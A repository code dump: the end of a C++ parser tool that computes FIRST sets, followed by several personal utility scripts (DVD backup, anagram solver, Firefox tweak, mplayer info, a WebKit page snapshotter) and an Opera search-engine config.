ProductionRule::Rhs() { return rhs_; } bool ProductionRule::IsValid() const { return valid_; } void ProductionRule::Invalidate() { valid_ = false; } std::unordered_map<char, std::vector<char>> ParserTools::Compute_FIRST(std::vector<ProductionRule> & rules) { // Step 1: initialize FIRSTs // e.g.) {A -> aA | B | C} => A: [aA, B, C] std::unordered_map<char, std::vector<char>> firsts; // Step 1-1: handle single terminal symbol rule for (auto & rule : rules) { if (rule.Rhs().size() == 1 && IsTerminalSymbol(rule.Rhs()[0])) { firsts.insert({ rule.Vn(), std::vector<char>{rule.Rhs()[0]} }); rule.Invalidate(); } } // Step 2: handle Vn -> aX where a is a terminal symbol for (auto & rule : rules) { if (!rule.IsValid()) continue; std::vector<char> tmpFirsts = {}; if (rule.Rhs().size() >= 2 && IsTerminalSymbol(rule.Rhs()[0])) { if (firsts.count(rule.Vn()) > 0) { tmpFirsts = firsts[rule.Vn()]; } tmpFirsts.push_back(rule.Rhs()[0]); firsts[rule.Vn()] = tmpFirsts; rule.Invalidate(); } else { if (IsEpsilon(rule.Rhs()[0])) { if (firsts.count(rule.Vn()) > 0) { tmpFirsts = firsts[rule.Vn()]; } tmpFirsts.push_back(rule.Rhs()[0]); firsts[rule.Vn()] = tmpFirsts; rule.Invalidate(); } } } // Step 3: handle all remaining rules bool modified = false; do { for (auto & rule : rules) { if (!rule.IsValid()) continue; size_t existingFirstCnt = 0; std::vector<char> existingFirst = {}; if (firsts.count(rule.Vn()) > 0) { existingFirst = firsts[rule.Vn()]; existingFirstCnt = existingFirst.size(); } std::vector<char> ringSum = {}; if (firsts.count(rule.Rhs()[0]) > 0) { ringSum = firsts[rule.Rhs()[0]]; } for (int i = 1; i < rule.Rhs().size(); ++i) { std::vector<char> currFirsts = {}; if (firsts.count(rule.Rhs()[i]) > 0) { currFirsts = firsts[rule.Rhs()[i]]; } else if (IsTerminalSymbol(rule.Rhs()[i])) { currFirsts = std::vector<char>{ rule.Rhs()[i] }; } ringSum = RingSum(ringSum, currFirsts); } std::set<char> updatedFirsts; for (auto i : ringSum) { updatedFirsts.insert(i); } for (auto i : existingFirst) { updatedFirsts.insert(i); } existingFirst.clear(); for (auto i : updatedFirsts) { existingFirst.push_back(i); } if (existingFirstCnt != updatedFirsts.size()) { firsts[rule.Vn()] = existingFirst; modified = true; } else { rule.Invalidate(); modified = false; } } } while (modified); return firsts; } std::vector<char> ParserTools::RingSum(std::vector<char> & lhs, std::vector<char> & rhs) { std::vector<char> ringSum; auto ret = std::find(lhs.begin(), lhs.end(), '#'); if (ret != lhs.end()) { lhs.erase(std::remove(lhs.begin(), lhs.end(), '#'), lhs.end()); ringSum = Union(lhs, rhs); } else { ringSum = lhs; } return std::move(ringSum); } std::vector<char> ParserTools::Union(std::vector<char> & lhs, std::vector<char> & rhs) { std::vector<char> unionSum; std::sort(lhs.begin(), lhs.end()); std::sort(rhs.begin(), rhs.end()); std::set_union(lhs.begin(), lhs.end(), rhs.begin(), rhs.end(), std::back_inserter(unionSum)); return unionSum; } bool ParserTools::IsEpsilon(char v) { return v == '#'; } bool ParserTools::IsTerminalSymbol(char v) { if (v >= 97 && v <= 127) // a - z { return true; } else if (v >= 65 && v <= 90) // A - Z { return false; } else { throw std::runtime_error("Symbol must be a letter"); } } }
9fdd7916b10002eac6b5c9aa206bd9e8b7c58516
[ "Markdown", "C++" ]
4
Markdown
hyunjung-kim/compute-first-single-letter
d31aad98a684a613082b788aa4660174322a8edc
3208b6e78066de3f4725b4583669e9ebe64512a2
refs/heads/master
<repo_name>Agess519/Java_robot<file_sep>/Robot/Core/ChatRoom/Server/ChatRoomServer.java package ChatRoom.Server; public class ChatRoomServer{ }<file_sep>/Robot/gui/App.java package Robot.gui; import Robot.Client.*; public class App{ public static void main(String[] args){ Client client = new Client(); client.Init(); client.Run(); } }<file_sep>/README.md # Java_robot 制作一个java机器人 <file_sep>/Robot/Core/ChatRoom/Client/Client.java package ChatRoom.Client; import ChatRoom.Core.*; public class Client{ private ChatRoom chatroom; // public void init(String name){ // this.chatroom = new ChatRoom(); // } public void run(){ System.out.println("Welcome to the " + this.room_name + " !!"); System.out.println("----------------------------\n" + "& <r> register a new account\n" + "& <l> log in your account" + "& <q> exit the chatroom" + "----------------------------\n" + "& "); Scanner sc = new Scanner(System.in); String op = sc.next(); while(true){ if(op == "q"){ break; } else if(op == "r"){ if(this.chatroom.register()){ System.out.println("Success!"); } else{ System.out.println("Faild, " + "please make sure your ID and password are correct."); } } else if(op == "l"){ try{ this.chatroom.login(); } catch(Exception e){ e.printStackTrace(); } } System.out.println("& "); op = sc.next(); } System.out.println("Welcome for your next arrival!!"); } }
5e3f00af04f1062d4806412eb51d0d31b6025f00
[ "Markdown", "Java" ]
4
Java
Agess519/Java_robot
f20db230d6045c897cabf43b62b6ea139035ea9f
8f07db5d1b3eecdcc940ab94852fae91a412d5ba
refs/heads/master
<repo_name>summerlunaa/mydiary<file_sep>/mydiary/models.py from __future__ import unicode_literals from django.utils import timezone from django.db import models # Create your models here. class Content(models.Model): title = models.CharField(max_length=200) pub_date = models.DateTimeField(default=timezone.now) body = models.TextField(default='') TODAY_EXERCISE_CHOICESE = [ ('쉬었어요', '쉬었어요'), ('하체', '하체'), ('팔', '팔'), ('등', '등'), ('복근', '복근'), ('가슴', '가슴'), ('어깨', '어깨'), ] today_exercise = models.CharField( max_length=5, choices=TODAY_EXERCISE_CHOICESE, default='쉬었어요', )<file_sep>/mydiary/migrations/0003_auto_20210401_0255.py # Generated by Django 3.1.7 on 2021-03-31 17:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('mydiary', '0002_content_year_in_school'), ] operations = [ migrations.RemoveField( model_name='content', name='year_in_school', ), migrations.AddField( model_name='content', name='today_exercise', field=models.CharField(choices=[('쉬었어요', '쉬었어요'), ('하체', '하체'), ('팔', '팔'), ('등', '등'), ('복근', '복근'), ('가슴', '가슴'), ('어깨', '어깨')], default='쉬었어요', max_length=5), ), ]
8b41119efcac8b8a132fb6e5ef4b8955d262a62d
[ "Python" ]
2
Python
summerlunaa/mydiary
a5002cbb53dc90a71acc7fd3d95fdb526cd75144
bb79d6ed08dd1c4c055cceab89b0c57c2520fc04
refs/heads/master
<file_sep>#!/bin/bash # depends: dvdbackup libdvdcss if [ "$1" == "--help" ]; then echo "usage: dvdrip [output dir]" exit 1 fi if ! which dvdbackup &> /dev/null; then echo "'dvdbackup' not found; please install it." exit 1 fi CMD="dvdbackup -p -M -i /dev/sr0" if [ "$1" == "" ]; then $CMD else $CMD -o "$@" fi <file_sep>#!/usr/bin/env ruby ############################################################################################## require 'readline' require 'set' ############################################################################################## class NilClass def blank?; true; end end class String def blank?; strip == ""; end end class Hash def self.of_arrays; new {|h,k| h[k] = [] }; end end ############################################################################################## class Array # # Remove one instance of each letter in "letters" from the array. # # (i.e. different from "array - letters", which removes ALL copies # of each letter in "letters" from the array.) # def without(letters) grouped = group_by { |letter| letter } letters.each do |letter| if group = grouped[letter] group.pop else raise "Error: tried to remove #{letter.inspect} from #{self.inspect}" end end grouped.values.flatten end end ############################################################################################## def time(msg) $stderr.print "* #{msg}..." start = Time.now yield $stderr.puts "done! (elapsed: %0.5f)" % (Time.now - start) end ############################################################################################## class Anagrammer attr_accessor :words, :grouped # todo: word frequencies so all these awful long tail # three letter words don't dominate the results SHORTWORDS = %w[ a in be to if in of at it ho no ye yo we so um uh us vs ya am he jr me mr ms oz do go hi id is km lb kg ow ox oh oi my ma wbs bws wbn sbw ues ris sne ens ner ern nid eds nbw udi isu uds iru uis wid uws wus urs usr bre ber rus reb erb ids wud dws wds bur ube bes dur ] LOOKUP_TABLE_FILE = File.expand_path("~/.cache/anagram.lookup.table") def load_words_file(path="/usr/share/dict/words") return nil unless File.exist? path print " from #{path}" Enumerator.new do |y| open(path).each { |word| y << word } end end def load_wikt_file(path=File.expand_path("~/.cache/wikt/wikt.idx")) return nil unless File.exist? path print " from #{path}" Enumerator.new do |y| open(path).each { |line| y << line.split("\t").first } end end def initialize if File.exist?(LOOKUP_TABLE_FILE) time("Loading word lookup table from #{LOOKUP_TABLE_FILE}") do @grouped = open(LOOKUP_TABLE_FILE) { |f| Marshal.load f } end else time("Generating word lookup table") do @grouped = Hash.of_arrays @wordcount = 0 group_proc = proc do |word| @grouped[word.chars.sort] << word @wordcount += 1 end unless words = (load_wikt_file || load_words_file) puts "Error: couldn't find a wordlist." exit 1 end words. map { |w| w.chomp.chomp("'s") }. select { |w| w.size > 2 and w.upcase != w }. map { |l| l.downcase }. each &group_proc SHORTWORDS.each &group_proc print "\n |_ #{@wordcount} words loaded..." end time("Saving to #{LOOKUP_TABLE_FILE}...") do @grouped.default_proc = nil File.write(LOOKUP_TABLE_FILE, Marshal.dump(@grouped)) end if false end end # # Generates anagrams given a *sorted* array of letters # def words_from(letters) return to_enum(:words_from, letters) unless block_given? # letters = letters.sort letters.size.downto(1) do |n| letters.combination(n) do |perm| # NB: combination() thoughtfully returns the letters in sorted order! :D if words = @grouped[perm] remaining = letters.without(perm) words.each do |word| if remaining.any? words_from(remaining).each { |subword| yield "#{word} #{subword}" } else yield word end end end end end end # # Given a string, prints out all anagrams. # def solve!(phrase) IO.popen(["fzf"], "w") do |fzf| found = Set.new # $stderr.puts "# Searching for anagrams of #{phrase.inspect}..." letters = phrase.downcase.scan(/\w/).sort words_from(letters).each do |solution| words = solution.split.sort unless found.include? words found.add(words) fzf.puts solution end end fzf.puts end rescue Errno::EPIPE # STDOUT was closed before execution completed exit 74 # EX_IOERR rescue Interrupt $stderr.puts "Interrupted" end end ############################################################################################## if $0 == __FILE__ anagrammer = Anagrammer.new if ARGV.any? phrase = ARGV.join(" ") anagrammer.solve!(phrase) end if $stdout.isatty loop do puts "Enter another anagram (or hit ENTER to exit)" phrase = Readline.readline("> ", true) exit if phrase.blank? anagrammer.solve!(phrase) end end end <file_sep>#!/bin/bash # # Based upon [[https://superuser.com/questions/1268732/how-to-hide-tab-bar-tabstrip-in-firefox-57-quantum/1268734#1268734][How to hide tab bar (tabstrip) in Firefox 57+ Quantum]] by [[https://superuser.com/users/162466/vasyanovikov][VasyaNovikov]] # This causes the [[https://support.mozilla.org/en-US/questions/1187186][The Back Button is top right under the Red close button on my Mac]] issue. # Resolve that by right-clicking the toolbar, then inserting three Flexible Space into the toolbar on the far-left-hand side. case $( uname ) in "Linux") profile_dir=~/.mozilla/firefox/$( ls -tr ~/.mozilla/firefox/ | grep -v profiles.ini | tail -1 ) ;; "Darwin") profile_dir=~/Library/Application\ Support/Firefox/Profiles/$( ls -tr ~/Library/Application\ Support/Firefox/Profiles | tail -1 ) ;; esac if [ ! -d "${profile_dir}"/chrome ] ; then mkdir -p "${profile_dir}"/chrome fi css="${profile_dir}"/chrome/userChrome.css echo "Writing changes to $css" echo '#TabsToolbar { visibility: collapse !important; }' >> "$css" echo "Done! (Don't forget to restart Firefox)" <file_sep>#!/bin/bash certutil -L -d sql:$HOME/.pki/nssdb <file_sep>#!/usr/bin/env ruby require 'epitools' require 'awesome_print' data = %{ IDENTIFY: ID_VIDEO_ID=0 IDENTIFY: ID_AUDIO_ID=0 IDENTIFY: ID_AID_0_LANG=eng IDENTIFY: ID_CLIP_INFO_NAME0=major_brand IDENTIFY: ID_CLIP_INFO_VALUE0=mp42 IDENTIFY: ID_CLIP_INFO_NAME1=minor_version IDENTIFY: ID_CLIP_INFO_VALUE1=1 IDENTIFY: ID_CLIP_INFO_NAME2=compatible_brands IDENTIFY: ID_CLIP_INFO_VALUE2=mp42avc1 IDENTIFY: ID_CLIP_INFO_NAME3=creation_time IDENTIFY: ID_CLIP_INFO_VALUE3=2007-11-01 09:48:46 IDENTIFY: ID_CLIP_INFO_NAME4=artist IDENTIFY: ID_CLIP_INFO_VALUE4=TVO | Big Ideas IDENTIFY: ID_CLIP_INFO_NAME5=album IDENTIFY: ID_CLIP_INFO_VALUE5=Big Ideas IDENTIFY: ID_CLIP_INFO_NAME6=genre IDENTIFY: ID_CLIP_INFO_VALUE6=Podcast IDENTIFY: ID_CLIP_INFO_NAME7=date IDENTIFY: ID_CLIP_INFO_VALUE7=2007 IDENTIFY: ID_CLIP_INFO_NAME8=title IDENTIFY: ID_CLIP_INFO_VALUE8=January 24 2004: Lee Smolin IDENTIFY: ID_CLIP_INFO_N=9 IDENTIFY: ID_FILENAME=BI_Full_LeeSmolin_012404.mp4 IDENTIFY: ID_DEMUXER=lavfpref IDENTIFY: ID_VIDEO_FORMAT=H264 IDENTIFY: ID_VIDEO_BITRATE=259576 IDENTIFY: ID_VIDEO_WIDTH=320 IDENTIFY: ID_VIDEO_HEIGHT=240 IDENTIFY: ID_VIDEO_FPS=15.000 IDENTIFY: ID_VIDEO_ASPECT=0.0000 IDENTIFY: ID_AUDIO_FORMAT=MP4A IDENTIFY: ID_AUDIO_BITRATE=48104 IDENTIFY: ID_AUDIO_RATE=32000 IDENTIFY: ID_AUDIO_NCH=1 IDENTIFY: ID_START_TIME=0.00 IDENTIFY: ID_LENGTH=3003.49 IDENTIFY: ID_SEEKABLE=1 IDENTIFY: ID_CHAPTERS=0 IDENTIFY: ID_VIDEO_CODEC=ffh264 IDENTIFY: ID_AUDIO_BITRATE=48104 IDENTIFY: ID_AUDIO_CODEC=ffaac IDENTIFY: ID_EXIT=EOF } def mplayer_identify(filename) output = `mplayer -vo null -ao null -frames 0 -identify "#{filename}" 2>/dev/null|grep IDENTIFY` clip_info = {} video_info = {} audio_info = {} info = {} output.lines.each do |line| if line =~ /ID_([\dA-Z_]+)=(.+)$/ name, val = $1, $2 case name when /CLIP_INFO_(NAME|VALUE)(\d)+/ clip_info[$2] ||= {} clip_info[$2][$1.downcase] = val when "EXIT", "DEMUXER", "CLIP_INFO_N", "FILENAME", "SEEKABLE" # skip it when /VIDEO_(.+)/ video_info[$1.downcase] = val when /AUDIO_(.+)/ audio_info[$1.downcase] = val else info[name.downcase] = val end end end keyvals = clip_info.map do |k, v| [v["name"], v["value"]] end clip_info_unsorted = Hash[ *keyvals.flatten ] clip_info_keys = [ "title", "artist", "date", "creation_time", "album", "genre", ] clip_info = Hash[ *clip_info_keys.map { |key| [key, clip_info_unsorted.delete(key)] if clip_info_unsorted[key] }.compact.flatten ] clip_info.merge!(clip_info_unsorted) { "metadata" => clip_info, "video" => video_info, "audio" => audio_info, "info" => info, } end if $0 == __FILE__ if ARGV.any? lesspipe do |less| ARGV.each do |arg| less.puts "<8>### <14>#{arg} <8>#{"#"*30}".colorize less.puts less.puts mplayer_identify(arg).ai less.puts end end else puts "Usage: mplayer-info <video file(s)...>" end end <file_sep>// urlsnap: save snapshots of webpages // Copyright (C) 2014 <NAME> // // To build: // gcc urlsnap.c $(pkg-config --cflags --libs webkit2gtk-3.0) -o urlsnap // OR (on arch): // gcc urlsnap.c $(pkg-config --cflags --libs webkit2gtk-4.0) -o urlsnap #include <err.h> #include <string.h> #include <glib/gstdio.h> #include <webkit2/webkit2.h> // use TorBrowser's user agent to reduce browser fingerprint #define USER_AGENT "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0" static char *mhtml_file = NULL; static char *html_file = NULL; static char *png_file = NULL; static char *title_file = NULL; static gboolean enable_js = FALSE; static int todo = 0; static GOptionEntry entries[] = { { "mhtml", 0, 0, G_OPTION_ARG_FILENAME, &mhtml_file, "Write MHTML snapshot to FILE", "FILE" }, { "html", 0, 0, G_OPTION_ARG_FILENAME, &html_file, "Write HTML snapshot to FILE", "FILE" }, { "png", 0, 0, G_OPTION_ARG_FILENAME, &png_file, "Write PNG snapshot to FILE", "FILE" }, { "title", 0, 0, G_OPTION_ARG_FILENAME, &title_file, "Write page title to FILE", "FILE" }, { "js", 0, 0, G_OPTION_ARG_NONE, &enable_js, "Enable JavaScript", NULL }, { NULL } }; static void done() { todo--; if (todo == 0) { gtk_main_quit(); } } static FILE* open_file(char *path, char *mode) { if (strcmp(path, "-") == 0) { return stdout; } FILE *f = fopen(path, mode); if (f == NULL) { err(1, "%s", path); } return f; } static void mhtml_finished(GObject *object, GAsyncResult *result, gpointer user_data) { WebKitWebView *web_view = WEBKIT_WEB_VIEW(object); GError *error = NULL; gboolean ok = webkit_web_view_save_to_file_finish(web_view, result, &error); if (ok == FALSE) { errx(1, "error saving mhtml: %s", error->message); } done(); } static void html_finished(GObject *object, GAsyncResult *result, gpointer user_data) { WebKitWebResource *wr = WEBKIT_WEB_RESOURCE(object); GError *error = NULL; gsize length; guchar *h = webkit_web_resource_get_data_finish(wr, result, &length, &error); FILE *f = open_file(html_file, "w"); if (fwrite(h, length, 1, f) != 1) { errx(1, "error saving html"); } fclose(f); done(); } static void png_finished(GObject *object, GAsyncResult *result, gpointer user_data) { WebKitWebView *web_view = WEBKIT_WEB_VIEW(object); GError *error = NULL; cairo_surface_t *surface = webkit_web_view_get_snapshot_finish(web_view, result, &error); if (surface == NULL) { errx(1, "error creating snapshot: %s", error->message); } cairo_surface_write_to_png(surface, png_file); cairo_surface_destroy(surface); done(); } static void load_changed(WebKitWebView *web_view, WebKitLoadEvent load_event, gpointer user_data) { if (load_event != WEBKIT_LOAD_FINISHED) { return; } if (mhtml_file != NULL) { GFile *f = g_file_new_for_path(mhtml_file); webkit_web_view_save_to_file(web_view, f, WEBKIT_SAVE_MODE_MHTML, NULL, mhtml_finished, NULL); } if (html_file != NULL) { WebKitWebResource *wr = webkit_web_view_get_main_resource(web_view); webkit_web_resource_get_data(wr, NULL, html_finished, NULL); } if (png_file != NULL) { webkit_web_view_get_snapshot( web_view, WEBKIT_SNAPSHOT_REGION_FULL_DOCUMENT, WEBKIT_SNAPSHOT_OPTIONS_NONE, NULL, png_finished, NULL ); } if (title_file != NULL) { const gchar *title = webkit_web_view_get_title(web_view); GString *s = g_string_new(title); g_string_append_c(s, '\n'); FILE *f = open_file(title_file, "w"); if (fwrite(s->str, s->len, 1, f) != 1) { errx(1, "error saving title"); } fclose(f); done(); } } static void load_failed(WebKitWebView *web_view, WebKitLoadEvent load_event, gchar *failing_uri, gpointer error, gpointer user_data) { errx(1, "load failed: %s: %s", ((GError *) error)->message, failing_uri); } int main(int argc, gchar* argv[]) { gtk_init(&argc, &argv); GError *error = NULL; GOptionContext *context; context = g_option_context_new("URL"); g_option_context_add_main_entries(context, entries, NULL); g_option_context_add_group(context, gtk_get_option_group(TRUE)); if (!g_option_context_parse(context, &argc, &argv, &error)) { errx(1, "option parsing failed: %s", error->message); } if (argc < 2) { printf("Usage: %s [OPTION...] URL\n", argv[0]); printf("Try '%s --help' for more information.\n", argv[0]); return 1; } todo = (mhtml_file != NULL) + (html_file != NULL) + (png_file != NULL) + (title_file != NULL); if (!todo) { printf("Specify at least one of: --mhtml, --html, --png, --title\n"); printf("Try '%s --help' for more information.\n", argv[0]); return 1; } const gchar *url = argv[1]; if (g_uri_parse_scheme(url) == NULL) { errx(1, "invalid URI: %s", url); } WebKitWebView *web_view = WEBKIT_WEB_VIEW(webkit_web_view_new()); g_signal_connect(web_view, "load-changed", G_CALLBACK(load_changed), NULL); g_signal_connect(web_view, "load-failed", G_CALLBACK(load_failed), NULL); WebKitSettings *settings = webkit_settings_new_with_settings( "user-agent", USER_AGENT, "enable-javascript", enable_js, "enable-java", FALSE, "enable-plugins", FALSE, "enable-private-browsing", TRUE, "enable-offline-web-application-cache", FALSE, "enable-page-cache", FALSE, NULL ); webkit_web_view_set_settings(web_view, settings); GtkWidget *window = gtk_offscreen_window_new(); gtk_window_set_default_size(GTK_WINDOW(window), 1280, 1024); gtk_container_add(GTK_CONTAINER(window), GTK_WIDGET(web_view)); gtk_widget_show_all(window); webkit_web_view_load_uri(web_view, url); gtk_main(); return 0; } <file_sep>Opera Preferences version 2.1 ; Do not edit this file while Opera is running ; This file is stored in UTF-8 encoding [Version] File Version=37 [Search Engine 1] UNIQUEID=FEAF2EF45FCC11DD8287529456D89593 Name=Ask Verbtext=0 URL=http://redir.opera.com/ask/?q=%s Query= Key=a Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=1 [Search Engine 2] UNIQUEID=F290D3865FC011DD83CDD4F355D89593 Name= Verbtext=0 URL=http://redir.opera.com/amazon/?q=%s Query= Key=z Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=-1752296956 Deleted=1 [Search Engine 3] UNIQUEID=82EB048A5FCE11DDAFCFE0AA56D89593 Name=eBay.com Verbtext=0 URL=http://redir.opera.com/ebay/?q=%s Query= Key=e Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=-1752296955 Deleted=1 [Search Engine 4] UNIQUEID=46209AD25FC011DD8ED961EB55D89593 Name= Verbtext=0 URL=http://yahoo.opera.com/search/?q=%s&fr=opera2 Query= Key=y Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=-1752296930 Deleted=1 [Search Engine 5] UNIQUEID=AE41FF7A5FC011DDAE47DBEF55D89593 Name=&Wikipedia Verbtext=0 URL=https://en.wikipedia.org/wiki/Special:Search?search=%s Query= Key=w Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 6] UNIQUEID=368291005FC211DD8DE6B90756D89593 Name= Verbtext=0 URL= Query= Key=f Is post=0 UseTLD=0 Has endseparator=0 Encoding= Search Type=12 Position=-1 Nameid=-1453429782 Deleted=1 [Search Engine 7] UNIQUEID=9B4B603042AC11DE8B61B0416916CC4F Name=what.cd Verbtext=0 URL=http://what.cd/torrents.php?searchstr=%s&searchtags=&tags_type=0&order_by=s6&order_way=desc Query= Key=what Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-1 Search Type=11 Position=-1 Nameid=-1971470392 Deleted=0 [Search Engine 8] UNIQUEID=9B4B603042AC11DE8B64A1DF1A5B4E72 Name=YouTube Verbtext=0 URL=http://youtube.com/results?search_query=%s&search=Search Query= Key=y Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 9] UNIQUEID=9B4B603042AC11DE8B65A429DDC2A5B0 Name=LastFM Verbtext=0 URL=http://last.fm/music/?q=%s Query= Key=last Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 10] UNIQUEID=9B4B603042AC11DE8B66B0BF0A6898D0 Name=MusicBrainz Verbtext=0 URL=http://musicbrainz.org/search/textsearch.html?query=%s&type=artist&limit=&handlearguments=1 Query= Key=mb Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 11] UNIQUEID=9B4B603042AC11DE8B67BA88A48304E9 Name=Google Video Verbtext=0 URL=http://video.google.com/videosearch?q=%s Query= Key=v Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 12] UNIQUEID=9B4B603042AC11DE8B69D2E613B28F8E Name=Google Maps Verbtext=0 URL=http://maps.google.com/maps?f=q&hl=en&q=%s Query= Key=map Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 13] UNIQUEID=9B4B603042AC11DE8B6BCB857E88118A Name=bitmetv Verbtext=0 URL=http://www.bitmetv.org/browse.php?search=%s Query= Key=bitme Is post=0 UseTLD=0 Has endseparator=0 Encoding=iso-8859-15 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 14] UNIQUEID=F290D3865FC011DD83CDD4F355D89593 Name=Amazon.com Verbtext=0 URL=http://www.amazon.com/s/?field-keywords=%s Query= Key=a Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 15] UNIQUEID=99B9B190C22F11E08AB6CD6EAD446B5C Name=Torrentz Verbtext=0 URL=http://torrentz.eu/search?f=%s Query= Key=t Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 16] UNIQUEID=DFF2F360C3AB11E08AC3BAEFC60A2C18 Name=rubygems Verbtext=0 URL=http://rubygems.org/search?utf8=%E2%9C%93&query=%s Query= Key=r Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 17] UNIQUEID=E9236950C3D411E08AC489805B37A17E Name=thetvdb Verbtext=0 URL=http://thetvdb.com/?string=%s&searchseriesid=&tab=listseries&function=Search Query= Key=tv Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 18] UNIQUEID=937F7F50E48311E08AFEE0F44DDAAB4C Name=Bibliotik Verbtext=0 URL=https://bibliotik.org/torrents/?search=%s Query= Key=b Is post=0 UseTLD=0 Has endseparator=0 Encoding=us-ascii Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 19] UNIQUEID=A889EA3022F811E18DC9CCE0993338D0 Name=imdb Verbtext=0 URL=http://www.imdb.com/find?q=%s&s=all Query= Key=i Is post=0 UseTLD=0 Has endseparator=0 Encoding=us-ascii Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 20] UNIQUEID=FDF6A4F396BE564F83BEA4B4127397AA Name=DuckDuckGo Verbtext=0 URL=https://duckduckgo.com/?q=%s Query= Key=d Is post=0 UseTLD=0 Has endseparator=0 Encoding=UTF-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 21] UNIQUEID=0D2832A0C4D211E1A8598C4B8D5ACA5A Name=Arch Wiki Verbtext=0 URL=https://wiki.archlinux.org/index.php?title=Special%3ASearch&search=%s&go=Go Query= Key=arch Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 22] UNIQUEID=79267E30109A11E29BA8E65CEB2CA7C1 Name=Kickass Torrents Verbtext=0 URL=http://kat.ph/torrents/usearch/?q=%s Query= Key=k Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 23] UNIQUEID=931D9930372E11E28902B03BB64E3C24 Name=The Movie DB Verbtext=0 URL=http://www.themoviedb.org/search?query=%s Query= Key=m Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 24] UNIQUEID=FBFD139039EF11E28F67CFEB17162FC0 Name=Google Scholar Verbtext=0 URL=http://scholar.google.com/scholar?hl=en&q=%s Query= Key=s Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 25] UNIQUEID=D1D832B0877011E28FACC2B14136C1DA Name=AUR Verbtext=0 URL=https://aur.archlinux.org/packages/?O=0&K=%s Query= Key=aur Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 26] UNIQUEID=39AE7EB0959C11E28EB3FC893DDFD46E Name=Wine AppDB Verbtext=0 URL=http://www.winehq.org/search?cx=partner-pub-0971840239976722%3Aw9sqbcsxtyf&cof=FORID%3A10&ie=UTF-8&q=%s&siteurl=appdb.winehq.org%2F&ref=www.google.ca%2Furl%3Fsa%3Dt%26rct%3Dj%26q%3D%26esrc%3Ds%26source%3Dweb%26cd%3D1%26ved%3D0CDQQFjAA%26url%3Dhttp%253A%252F%252Fappdb.winehq.org%252F%26ei%3D9NBQUdKQIubc2QWYpIAw%26usg%3DAFQjCNGkDI5hX0oyO91fsJqS-d2L368mBQ%26sig2%3DmXG-zSUGBgU97fmp45tM6A%26bvm%3Dbv.44158598%2Cd.b2I&ss=792j110528j8 Query= Key=wine Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 27] UNIQUEID=A0F787E0FA8411E295C6B63DBAE855E9 Name=Github Verbtext=0 URL=http://github.com/%s Query= Key=gh Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 28] UNIQUEID=A87421D0FF1711E28A92C2750EB2D4D5 Name=Libgen Verbtext=0 URL=http://libgen.org/search.php?req=%s Query= Key=l Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 29] UNIQUEID=AF272500FEDA11E28A90CCB0E4CF76B3 Name=Google Verbtext=0 URL=https://encrypted.google.com/search?q=%s Query= Key=e Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 30] UNIQUEID=458F17702E4A11E39204A06AE841A3D2 Name=urbandictionary Verbtext=0 URL=http://www.urbandictionary.com/define.php?term=%s Query= Key=u Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 [Search Engine 31] UNIQUEID=7A8CADE6677811DDBA4B5E9D55D89593 Name=Google Verbtext=0 URL=https://encrypted.google.com/search?q=%s Suggest Protocol=JSON Suggest URL=http://clients1.google.com/complete/search?q={SearchTerm}&client={Client}&hl=en Query= Key=o Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=1632215285 Deleted=0 [Search Engine 32] 